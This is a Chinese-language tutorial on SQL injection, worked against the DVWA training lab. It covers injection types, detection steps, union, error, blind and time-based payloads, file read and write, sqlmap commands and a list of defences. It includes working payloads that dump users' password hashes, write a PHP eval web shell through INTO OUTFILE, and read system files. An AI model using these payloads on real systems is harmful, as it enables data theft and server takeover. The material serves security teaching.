SQL注入
SQL注入
基本原理
在B/S模式中,用户可以通过Get或Post等方式,对服务器发出HTTP请求。在服务器端,对数据库执行查询操作,将查询的结果返回浏览器端。黑客利用上述过程,将精心构造的请求放到传入的变量参数中,让服务器端执行恶意代码,从而达到了读取数据库中敏感信息的效果,甚至将数据库删除。这一攻击过程就是SQL注入,它的原理如图所示。
其成因可归结为以下两个原理叠加造成:
1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
危害
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
- 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
注入分类
按照注入点类型分类
数字型注入
字符型注入
搜索型注入
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=’%1%’
按照注入点位置分类
GET注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
POST注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
Cookie注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
HTTP头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
按照执行效果分类
- 联合注入(有回显)
- 报错注入(有报错回显)
- 布尔盲注(响应页面有布尔类型状态)
- 延时注入
- 堆叠查询注入
常用的mysql系统函数
函数 | 解释 | 用法 |
---|---|---|
version() | mysql 数据库版本 | select version(); |
database() | 当前数据库名 | select database(); |
user() | 用户名 | select user(); |
current_user() | 当前用户名 | select current_user(); |
system_user() | 系统用户名 | select system_user(); |
@@datadir | 数据库路径 | select @@datadir; |
@@version_compile_os | 操作系统版本 | select @@version_compile_os; |
length() | 返回字符串长度 | select length(version()); |
substr() | 1、截取的字符串 | select substr(“version()”,2); |
2、截取的起始位置默认从1开始 | select substr(version(),2,10); | |
left() | 从左侧开始去指定字符个数的字符串 | select left(version(),2); |
group_concat() | 连接一个组的字符串 | select group_concat(id) from users; |
ord() | 返回ASCII码 | select ord(‘a’); |
hex() | 将字符串转换为十六进制 | select hex(‘a’); |
md5() | 返回MD5 值 | select md5(‘123456’); |
sleep() | 睡眠时间为指定的秒数 | select sleep(5); |
if(true,t,f) | if判断 | select if(true,1,0); |
常用的引号闭合方式
1 | 1' |
注入流程
第一阶段
判断注入点
判断存在注入的地点,比如Get请求参数,POST提交的表单参数,cookie参数,HTTP头部参数等
判断是否为数字型注入
首先判断是否为数字型注入,利用输入
?id=1 and 1=1
?id=1 and 1=2
如果返回了不同页面则是数字型注入
如果后端利用的是字符型时,后端sql语句就会被拼接为….. where id =’1 and 1=1’;然后在执行该sql语句时,mysql会对该sql语句进行解析(大概就是这意思QAQ),mysql发现id字段为int型则会将sql语句中的 where id =’1 and 1=1’变为int型,而这又是一个字符串,mysql只能将’1 and 1=1’变为’1’了所以最后执行的sql语句为….. where id =’1’;
所以如果是字符型注入的话?id=1 and 1=1,?id=1 and 1=2执行效果和返回页面是相同的
判断是否为字符型注入
输入
?id=1’#
?id=1”#
?id=1’)#
…….
哪个页面返回正常则说明是字符型注入,并且可推断出引号闭合方式
第一阶段工作完成
第二阶段(根据回显效果,选择如下一种)
判断有无回显,联合注入
SQL union操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果。
注意SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。
1 SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2例如有如下两个表
Employees_China:
E_ID E_Name 01 ZhangHua 02 WangWei 03 CarterThomas 04 YangMing Employees_USA:
E_ID E_Name 01 AdamsJohn 02 BushGeorge 03 CarterThomas 04 GatesBill
1
2
3 SELECT E_Name FROM Employees_China
UNION
SELECT E_Name FROM Employees_USA执行结果:
E_Name ZhangHua WangWei CarterThomas YangMing AdamsJohn BushGeorge GatesBill 再例如dvwa的low级别:select first_name,last_name from users where id =’1’ union select 1,2#
就会返回:
first_name last_name admin admin 1 2 页面显示如下:
输入以下来判断后端查询的字段数
?id=1’ union select 1,2
?id=1’ union select 1,2,3
?id=1’ union select 1,2,3,4
…..
哪个页面正常返回说明有几个字段,根据页面回显的数字就可以将union select后面的对应数字换为其他语句。eg:
1’ union select version(),database()#
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#
等等
然后进行联合注入,即用union select推出数据库名,表名,字段名,数据
1 | (1)//推断查询字段个数 |
group_concat用法:
将返回的结果集转换为一个字符串,目的是为了在一行输出
例如SELECT group_concat(E_Name) FROM Employees_China //表在上面
则会返回:
ZhangHua,WangWei,CarterThomas,YangMing
再例如dvwa的low级别
输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#
提交后到了后端完整的sql语句应该是
1 select first_name,last_name from users where id ='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa"#对于union后面的select 1,group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#可以这样理解
首先其返回结果为
1 select group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#的执行结果 而其中的select group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#可以这样理解
首先先执行select table_name from information_schema.tables where table_schema=”dvwa”#
得到结果:
table_name guestbook users 然后再执行group_concat得到结果:guestbook,users
注:如果上面得到结果为
table_name table_name2 aaa bbb ccc ddd 则执行group_concat得到结果:aaabbb,cccddd
所以最终结果为
first_name last_name admin admin 1 guestbook,users 页面展示效果为:
用不用group_concat只是形式上的不同,但有的时候后端再限制limit 1时就要用group_concat,如下为各种sql语句返回结果,目的熟悉sql语句,重点注意逐一显示和压缩显示的区别:
第(4)句完整sql语句返回结果:
column_name user_id first_name last_name user password avatar last_login failed_login 页面显示效果:
第(5)句完整sql语句返回结果:
first_name last_name admin admin admin 202cb962ac59075b964b07152d234b70 gordonb e99a18c428cb38d5f260853678922e03 1337 8d3533d75ae2c3966d7e0d4fcc69216b pablo 0d107d09f5bbe40cade3de5c71e9e9b7 smithy 5f4dcc3b5aa765d61d8327deb882cf99 页面显示效果:
第(6)句完整sql语句返回结果:
first_name last_name admin admin 1 admin202cb962ac59075b964b07152d234b70,Gordone99a18c428cb38d5f260853678922e03,Hack8d3533d75ae2c3966d7e0d4fcc69216b,Pablo0d107d09f5bbe40cade3de5c71e9e9b7,Bob5f4dcc3b5aa765d61d8327deb882cf99 页面显示效果:
第(7)句完整sql语句返回结果:
first_name last_name admin admin 1admin,2Gordon,3Hack,4Pablo,5Bob 202cb962ac59075b964b07152d234b70,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99 页面显示效果:
第(8)句完整sql语句返回结果:
first_name last_name admin admin 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith 202cb962ac59075b964b07152d234b70,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99 页面显示效果:
如上所示,当三个字段进行group_concat时就会先将每一行数据拼接起来,然后已逗号分隔符来连接成字符串
判断有无报错回显,报错注入
如图如果有报错回显,则可以使用报错注入,即将恶意sql语句插入到特殊构造的报错语句中去
报错注入常用payload
注意该blog里面payload最后没加#,需自己添加
判断页面有无布尔类型状态,布尔盲注
输入
?id=1’ and 1=1#
?id=1’ and 1=2#
如果页面返回不同则说明存在bool类型状态,则可以bool盲注
payload参考如下
注:布尔盲注工作量太大,需要布尔盲注自动化脚本
?id=2’ and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)=2#
判断当前数据库的第一张表的表名长度是否为2
延时注入
其他注入都用不了的情况下,可以使用延时注入,其是根据页面响应是否延时来进行脱库的
比如在dvwa的low级别输入以下payload:
1 | 1' and if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9),sleep(5),1)# |
提交后页面延时了5s,说明dvwa数据库的第一个表的表名长度为9
注:延时注入工作量太大,需要延时注入自动化脚本,链接如下:
https://github.com/W0lfier/sqlTimeDelay/blob/master/sqlinject_timebased.py
二阶段工作完成
第三阶段(脱库)
根据第二阶段选择的注入手法,进行脱库,脱库已经在第二阶段的联合查询注入模块详细阐述了
第三阶段工作完成
sql注入读写文件
前提条件
- secure-file-priv
需要配置secure-file-priv
该参数在高版本的mysql 数据库中限制了文件的导入导出
改参数可以写在my.ini 配置文件,并重启mysql 服务
打开C:\phpStudy\MySQL\my.ini 配置文件,在[mysqld]下添加 secure-file-priv
secure-file-priv参数配置 | 含义 |
---|---|
secure-file-priv= | 不对mysqld的导入导出操作做限制 |
secure-file-priv=’c:/a/‘ | 限制mysql的导入导出操作发生在c:/a/下(子目录有效) |
secure-file-priv=null | 限制mysqld不允许导入导出操作 |
- 当前用户具有文件读写权限
- 要知道要写入文件的存放位置的绝对路径
payload
以dvwa的low级别为例
写入文件
1 | 1' union select '<?php @eval($_POST[777]); ?>',2 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\vulnerabilities\\sqli\\shell.php'# |
读取文件
1 | 1' union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts')# |
sqlmap
sqlmap命令与参数:
https://blog.csdn.net/weixin_43590262/article/details/117229524
两种入门注入方式:
-u 目标url //记得设置cookie等参数
-r http请求.txt //对于post请求等比较友好因为不用设置参数,txt里面都有
eg:sqlmap -r test1.txt -p id –dbs -v 4 //test1.txt在sqlmap根目录下
数据库中的数据表很多,通过sqlmap快速找出存放用户名和密码的表,一把梭
https://blog.csdn.net/weixin_42253265/article/details/112465258
eg:sqlmap -u “http://192.168.43.61/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" -v4 –cookie=”security=low; PHPSESSID=8opisrbkl2ismd04b6bse88rp7” -D dvwa -search -C user,password
防御方法
- 基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。
- 对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。
- 数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。
- 严格限制网站访问数据库的权限。
- 近几年来,随着机器学习与人工智能技术的火热,基于机器学习的检测SQL注入方法成为了新的研究方向。首先将样本SQL语句转换为特征向量集合,使用机器学习的方法进行训练,将得到的模型投入使用,利用训练的模型检测传入的数据是否包含恶意SQL注入。
- 其他防御措施。例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。
附DVWA的sql注入impossib源码
1 |
|
https://blog.csdn.net/lay_loge/article/details/90445180